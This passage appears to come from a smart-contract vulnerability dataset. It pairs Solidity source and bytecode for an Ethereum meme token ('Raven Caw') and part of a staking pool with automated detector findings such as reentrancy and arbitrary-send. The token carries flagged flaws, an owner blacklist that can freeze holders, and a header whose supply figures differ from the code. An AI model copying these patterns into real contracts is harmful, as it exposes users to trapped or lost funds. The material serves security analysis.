function status(address target, bytes32 dataHash) internal constant
returns (bool proved, uint256 time, uint256 value)
{
return (ledger[msg.sender].hashes.contains(dataHash),
ledger[target].entries[dataHash].time,
ledger[target].entries[dataHash].value);
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,105 |
0x06317a7F49276d58B253D9cAd7b1260cf0A143eb
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
// SPDX-License-Identifier: MIT
/**
RAVENCAW - Raven Caw
TG Community https://t.me/ravencaw (unmuted after launch)
Stealth Launch Announcement https://t.me/ravencawlaunch (details and new buys)
Max Tx 100,000 (1%)
Total 10,000,000
Tax 6%
Slippage 40%
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ravencaw is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Raven Caw";
string private constant _symbol = "RAVENCAW";
uint8 private constant _decimals = 8;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 20000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 public _maxTxAmount = 200000*10**_decimals;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeWallet] = true;
emit MaxTxAmountUpdated(_maxTxAmount);
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
_feeAddr1 = 3;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 3;
_feeAddr2 = 3;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
function increaseMaxTxPercentage(uint256 percentage) external onlyOwner{
require(percentage>1);
_maxTxAmount = _tTotal.mul(percentage).div(100);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiquidity() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_,bool isBot) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = isBot;
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
swapTokensForEth(balanceOf(address(this)));
}
function manualsend() external {
sendETHToFee(address(this).balance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146102fc578063c3c8cd801461031c578063dd62ed3e14610331578063dfa0e37f14610377578063e8078d941461039757600080fd5b80637d1db4a5146102585780638a8c523c1461026e5780638da5cb5b1461028357806395d89b41146102ab5780639c0db5f3146102dc57600080fd5b8063313ce567116100e7578063313ce567146101db57806339c96774146101f75780636fc3eaec1461020e57806370a0823114610223578063715018a61461024357600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268526176656e2043617760b81b60208201525b60405161015f91906115bc565b60405180910390f35b34801561017457600080fd5b50610188610183366004611636565b6103ac565b604051901515815260200161015f565b3480156101a457600080fd5b506101ad6103c3565b60405190815260200161015f565b3480156101c757600080fd5b506101886101d6366004611662565b6103e4565b3480156101e757600080fd5b506040516008815260200161015f565b34801561020357600080fd5b5061020c61044d565b005b34801561021a57600080fd5b5061020c61062f565b34801561022f57600080fd5b506101ad61023e3660046116a3565b61063a565b34801561024f57600080fd5b5061020c61065c565b34801561026457600080fd5b506101ad600e5481565b34801561027a57600080fd5b5061020c6106d0565b34801561028f57600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102b757600080fd5b50604080518082019091526008815267524156454e43415760c01b6020820152610152565b3480156102e857600080fd5b5061020c6102f73660046116ef565b61070f565b34801561030857600080fd5b50610188610317366004611636565b610863565b34801561032857600080fd5b5061020c610870565b34801561033d57600080fd5b506101ad61034c3660046117c6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038357600080fd5b5061020c6103923660046117ff565b610881565b3480156103a357600080fd5b5061020c610922565b60006103b9338484610a9c565b5060015b92915050565b60006103d16008600a611912565b6103df906301312d00611921565b905090565b60006103f1848484610bc0565b610443843361043e85604051806060016040528060288152602001611acf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ea2565b610a9c565b5060019392505050565b6000546001600160a01b031633146104805760405162461bcd60e51b815260040161047790611940565b60405180910390fd5b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104c830826104ba6008600a611912565b61043e906301312d00611921565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610506573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052a9190611975565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610577573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059b9190611975565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c9190611975565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b61063847610edc565b565b6001600160a01b0381166000908152600260205260408120546103bd90610f1a565b6000546001600160a01b031633146106865760405162461bcd60e51b815260040161047790611940565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106fa5760405162461bcd60e51b815260040161047790611940565b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107395760405162461bcd60e51b815260040161047790611940565b60005b825181101561085e57600c5483516001600160a01b039091169084908390811061076857610768611992565b60200260200101516001600160a01b0316141580156107b95750600d5483516001600160a01b03909116908490839081106107a5576107a5611992565b60200260200101516001600160a01b031614155b80156107f05750306001600160a01b03168382815181106107dc576107dc611992565b60200260200101516001600160a01b031614155b1561084c57816006600085848151811061080c5761080c611992565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610856816119a8565b91505061073c565b505050565b60006103b9338484610bc0565b61063861087c3061063a565b610f9e565b6000546001600160a01b031633146108ab5760405162461bcd60e51b815260040161047790611940565b600181116108b857600080fd5b6108e760646108e1836108cd6008600a611912565b6108db906301312d00611921565b90611118565b9061119a565b600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b0316331461094c5760405162461bcd60e51b815260040161047790611940565b600c546001600160a01b031663f305d71947306109688161063a565b60008061097d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0a91906119c1565b5050600d8054600160b01b60ff60b01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9991906119ef565b50565b6001600160a01b038316610afe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610477565b6001600160a01b038216610c865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610477565b60008111610ce85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610477565b6001600160a01b03831660009081526006602052604090205460ff1615610d0e57600080fd5b60036009819055600a556000546001600160a01b03848116911614801590610d4457506000546001600160a01b03838116911614155b15610e9757600d546001600160a01b038481169116148015610d745750600c546001600160a01b03838116911614155b8015610d9957506001600160a01b03821660009081526005602052604090205460ff16155b15610dc357600e54811115610dad57600080fd5b600d54600160a01b900460ff16610dc357600080fd5b600c546001600160a01b03848116911614801590610dfa57506001600160a01b03831660009081526005602052604090205460ff16155b15610e2057600d546001600160a01b0390811690831603610e205760036009819055600a555b6000610e2b3061063a565b600d54909150600160a81b900460ff16158015610e565750600d546001600160a01b03858116911614155b8015610e6b5750600d54600160b01b900460ff165b15610e9557610e7981610f9e565b4767016345785d8a0000811115610e9357610e9347610edc565b505b505b61085e8383836111dc565b60008184841115610ec65760405162461bcd60e51b815260040161047791906115bc565b506000610ed38486611a0c565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f16573d6000803e3d6000fd5b5050565b6000600754821115610f815760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610477565b6000610f8b6111e7565b9050610f97838261119a565b9392505050565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fe657610fe6611992565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561103f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110639190611975565b8160018151811061107657611076611992565b6001600160a01b039283166020918202929092010152600c5461109c9130911684610a9c565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110d5908590600090869030904290600401611a23565b600060405180830381600087803b1580156110ef57600080fd5b505af1158015611103573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b60008260000361112a575060006103bd565b60006111368385611921565b9050826111438583611a94565b14610f975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610477565b6000610f9783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061120a565b61085e838383611238565b60008060006111f461132f565b9092509050611203828261119a565b9250505090565b6000818361122b5760405162461bcd60e51b815260040161047791906115bc565b506000610ed38486611a94565b60008060008060008061124a876113b1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061127c908761140e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112ab9086611450565b6001600160a01b0389166000908152600260205260409020556112cd816114af565b6112d784836114f9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131c91815260200190565b60405180910390a3505050505050505050565b6007546000908190816113446008600a611912565b611352906301312d00611921565b905061137a6113636008600a611912565b611371906301312d00611921565b6007549061119a565b8210156113a8576007546113906008600a611912565b61139e906301312d00611921565b9350935050509091565b90939092509050565b60008060008060008060008060006113ce8a600954600a5461151d565b92509250925060006113de6111e7565b905060008060006113f18e87878761156c565b919e509c509a509598509396509194505050505091939550919395565b6000610f9783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea2565b60008061145d8385611ab6565b905083811015610f975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610477565b60006114b96111e7565b905060006114c78383611118565b306000908152600260205260409020549091506114e49082611450565b30600090815260026020526040902055505050565b600754611506908361140e565b6007556008546115169082611450565b6008555050565b600080808061153160646108e18989611118565b9050600061154460646108e18a89611118565b9050600061155c826115568b8661140e565b9061140e565b9992985090965090945050505050565b600080808061157b8886611118565b905060006115898887611118565b905060006115978888611118565b905060006115a982611556868661140e565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115e9578581018301518582016040015282016115cd565b818111156115fb576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a9957600080fd5b803561163181611611565b919050565b6000806040838503121561164957600080fd5b823561165481611611565b946020939093013593505050565b60008060006060848603121561167757600080fd5b833561168281611611565b9250602084013561169281611611565b929592945050506040919091013590565b6000602082840312156116b557600080fd5b8135610f9781611611565b634e487b7160e01b600052604160045260246000fd5b8015158114610a9957600080fd5b8035611631816116d6565b6000806040838503121561170257600080fd5b823567ffffffffffffffff8082111561171a57600080fd5b818501915085601f83011261172e57600080fd5b8135602082821115611742576117426116c0565b8160051b604051601f19603f83011681018181108682111715611767576117676116c0565b60405292835281830193508481018201928984111561178557600080fd5b948201945b838610156117aa5761179b86611626565b8552948201949382019361178a565b96506117b990508782016116e4565b9450505050509250929050565b600080604083850312156117d957600080fd5b82356117e481611611565b915060208301356117f481611611565b809150509250929050565b60006020828403121561181157600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186957816000190482111561184f5761184f611818565b8085161561185c57918102915b93841c9390800290611833565b509250929050565b600082611880575060016103bd565b8161188d575060006103bd565b81600181146118a357600281146118ad576118c9565b60019150506103bd565b60ff8411156118be576118be611818565b50506001821b6103bd565b5060208310610133831016604e8410600b84101617156118ec575081810a6103bd565b6118f6838361182e565b806000190482111561190a5761190a611818565b029392505050565b6000610f9760ff841683611871565b600081600019048311821515161561193b5761193b611818565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561198757600080fd5b8151610f9781611611565b634e487b7160e01b600052603260045260246000fd5b6000600182016119ba576119ba611818565b5060010190565b6000806000606084860312156119d657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a0157600080fd5b8151610f97816116d6565b600082821015611a1e57611a1e611818565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a735784516001600160a01b031683529383019391830191600101611a4e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ab157634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611ac957611ac9611818565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0dc1b0876e8f39387cfc43635686874bdd0df0ed53fedf02c0c1dd1bfc447a764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,106 |
0x768696901cf8556bccc2466ffe0d077e6a413daa
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
// reward rate % per year
uint public rewardRate = 66000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 48 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
